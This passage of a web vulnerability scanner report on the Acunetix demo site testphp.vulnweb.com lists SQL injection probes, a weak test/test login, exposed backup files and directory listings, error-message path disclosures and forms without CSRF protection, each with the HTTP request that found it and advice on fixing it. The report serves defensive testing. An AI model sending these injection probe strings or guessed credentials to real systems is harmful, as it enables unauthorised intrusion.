**/userinfo.php**

Details

URL encoded POST input uname was set to 1ACUSTART"'wEXWBACUEND
Additional details:

Source file: /hj/var/www//userinfo.php line: 8

SQL query: SELECT * FROM users WHERE uname='1ACUSTART"'wEXWBACUEND' AND pass='g00dPa$$w0rD'
"mysql_query" was called.

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

pass=g00dPa%24%24w0rD&uname=1ACUSTART'%22wEXWBACUEND
```

## Weak password

| | |
|---|---|
| Severity | **High** |
| Type | Informational |
| Reported by module | Scripting (Html_Authentication_Audit.script) |

### Description

Manual confirmation is required for this alert.
This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.

### Impact

An attacker may access the contents of the password-protected page.

### Recommendation

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.

### References

Wikipedia - Password strength
Authentication Hacking Attacks

### Affected items

**/userinfo.php**

Details

Username: test, Password: test

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

pass=test&uname=test
```

## .htaccess file readable

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (htaccess_File_Readable.script) |

### Description

This directory contains an .htaccess file that is readable. This may indicate a server misconfiguration. htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file.

### Impact

Possible sensitive information disclosure.

### Recommendation

Restrict access to the .htaccess file by adjusting the web server configuration.

### Affected items

| /Mod_Rewrite_Shop |
|---|
| Details |
| No details are available. |
| Request headers |

```
GET /Mod_Rewrite_Shop/.htaccess HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Application error message

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (Error_Message.script) |

### Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

### Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

### Recommendation

Review the source code for this script.

### References

PHP Runtime Configuration

### Affected items

**/listproducts.php**

Details

URL encoded GET input artist was set to
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?artist= HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?artist=1&cat= HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?cat= HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/newuser.php**

Details

URL encoded POST input uuname was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: You have an error in your SQL syntax

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 218
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=orstsbfm&
uuname=12345'"\'\");|]*{%0d%0a<%00>%bf%27'
```

**/showimage.php**

Details

URL encoded GET input file was set to
Error message found: Warning: fopen(): Unable to access .tn in /hj/var/www/showimage.php on line 19

Warning: fopen(.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19

Request headers

```
GET /showimage.php?file=&size=160 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Backup files

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (Backup_File.script) |

### Description

A possible backup file was found on your web-server. These files are usually created by developers to backup their work.

### Impact

Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to prepare more advanced attacks.

### Recommendation

Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.

### References

Protecting Confidential Documents at Your Site
Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)
Security Tips for Server Configuration

### Affected items

**/index.bak**

Details

This file was found using the pattern ${fileName}.bak.
Original filename: index.php
Source code pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false"
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists
 </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
 <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
 <h2 id="pageName">welcome to our page</h2>
   <div class="story">
  <h3>Test site for WASP.</h3>
   </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
```

```
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
   <li><a href="userinfo.php">Your profile</a></li>
   <li><a href="guestbook.php">Our guestbook</a></li>
   <?PHP if (isset($_COOKIE["login"]))echo '<li><a href="../logout.php">Logout</a>'; ?></li>
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
   <li><a href="http://www.eclectasy.com/Fractal-Explorer/index.html">Fractal Explorer</a></li>
    </ul>
  </div>
  <div id="advert">
    <p><img src="images/add.jpg" alt="" width="107" height="66"></p>
  </div>
</div>

<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?r=index.php">Site
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com">Contact Us</a> |
&copy;2004
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.bak HTTP/1.1
Range: bytes=0-99999
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/index.zip**

Details

This file was found using the pattern ${fileName}.zip.
Original filename: index.php
Source code pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false"
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists
 </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
 <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
 <h2 id="pageName">welcome to our page</h2>
   <div class="story">
  <h3>Test site for WASP.</h3>
   </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
```

```
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
   <li><a href="userinfo.php">Your profile</a></li>
   <li><a href="guestbook.php">Our guestbook</a></li>
   <?PHP if (isset($_COOKIE["login"]))echo '<li><a href="../logout.php">Logout</a>'; ?></li>
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
   <li><a href="http://www.eclectasy.com/Fractal-Explorer/index.html">Fractal Explorer</a></li>
    </ul>
  </div>
  <div id="advert">
    <p><img src="images/add.jpg" alt="" width="107" height="66"></p>
  </div>
</div>

<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?r=index.php">Site
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com">Contact Us</a> |
&copy;2004
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.zip HTTP/1.1
Range: bytes=0-99999
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Directory listing

| | |
|---|---|
| Severity | **Medium** |
| Type | Information |
| Reported by module | Scripting (Directory_Listing.script) |

### Description

The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.

### Impact

A user can view a list of all files from this directory possibly exposing sensitive information.

### Recommendation

You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

### References

Directory Listing and Information Disclosure

### Affected items

**/.idea**

Details

Pattern found: <title>Index of /.idea/</title>

Request headers

```
GET /.idea/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/.idea/scopes**

Details

Pattern found: <title>Index of /.idea/scopes/</title>

Request headers

```
GET /.idea/scopes/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/_mmServerScripts**

Details

Pattern found: <title>Index of /_mmServerScripts/</title>

Request headers

```
GET /_mmServerScripts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/admin**

Details

Pattern found: <title>Index of /admin/</title>

Request headers

```
GET /admin/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Connections**

Details

Pattern found: <title>Index of /Connections/</title>

Request headers

```
GET /Connections/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/CVS**

Details

Pattern found: <title>Index of /CVS/</title>

Request headers

```
GET /CVS/ HTTP/1.1
```

```
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Flash**

Details

Pattern found: <title>Index of /Flash/</title>

Request headers

```
GET /Flash/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Flash/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/images**

Details

Pattern found: <title>Index of /images/</title>

Request headers

```
GET /images/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/images/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/images**

Details

Pattern found: <title>Index of /Mod_Rewrite_Shop/images/</title>

Request headers

```
GET /Mod_Rewrite_Shop/images/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/pictures**

Details

Pattern found: <title>Index of /pictures/</title>

Request headers

```
GET /pictures/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Templates**

Details

Pattern found: <title>Index of /Templates/</title>

Request headers

```
GET /Templates/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/wvstests**

Details

Pattern found: <title>Index of /wvstests/</title>

Request headers

```
GET /wvstests/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/wvstests/pmwiki_2_1_19**

Details

Pattern found: <title>Index of /wvstests/pmwiki_2_1_19/</title>

Request headers

```
GET /wvstests/pmwiki_2_1_19/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/wvstests/pmwiki_2_1_19/scripts**

Details

Pattern found: <title>Index of /wvstests/pmwiki_2_1_19/scripts/</title>

Request headers

```
GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Error message on page

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (Text_Search_File.script) |

### Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

### Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

### Recommendation

Review the source code for this script.

### References

PHP Runtime Configuration

### Affected items

**/AJAX/infoartist.php**

Details

Pattern found: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www//AJAX/infoartist.php on line 2<br />

Request headers

```
GET /AJAX/infoartist.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/AJAX/infocateg.php**

Details

Pattern found: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www//AJAX/infocateg.php on line 2<br />

Request headers

```
GET /AJAX/infocateg.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

**/AJAX/infotitle.php**

Details

Pattern found: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www//AJAX/infotitle.php on line 2<br />

Request headers

```
GET /AJAX/infotitle.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Connections/DB_Connection.php**

Details

Pattern found: Fatal error

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

Pattern found: Warning: mysql_fetch_array() expects parameter 1 to be resource, null given in /hj/var/www//listproducts.php on line 55<br />

Request headers

```
GET /listproducts.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/pictures/path-disclosure-unix.html**

Details

Pattern found: Warning:  Sablotron error on line 1: XML parser error 3: no element found in /usr/local/etc/httpd/htdocs2/destination-ce/destinationce/system/class/xsltTransform.class.php on line 70<br />

Request headers

```
GET /pictures/path-disclosure-unix.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/database_connect.php**

Details

Pattern found: Warning: mysql_connect(): Access denied for user 'wauser'@'localhost' (using password: NO) in /hj/var/www//secured/database_connect.php on line 2<br />

Request headers

```
GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## HTML form without CSRF protection

| | |
|---|---|
| Severity | **Medium** |
| Type | Informational |
| Reported by module | Crawler |

### Description

This alert may be a false positive, manual confirmation is required.
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

### Impact

An attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

### Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

### Affected items

***/***

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/search.php?test=query
Form method: POST

Form inputs:

- searchFor [Text]
- goButton [Submit]

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/comment.php**

Details

Form name: fComment
Form action: http://testphp.vulnweb.com/comment.php
Form method: POST

Form inputs:

- name [Text]
- comment [TextArea]
- Submit [Submit]
- phpaction [Hidden]

Request headers

```
GET /comment.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/guestbook.php**

Details

Form name: faddentry
Form action: http://testphp.vulnweb.com/guestbook.php
Form method: POST

Form inputs:

- name [Hidden]
- text [TextArea]
- submit [Submit]

Request headers

```
GET /guestbook.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

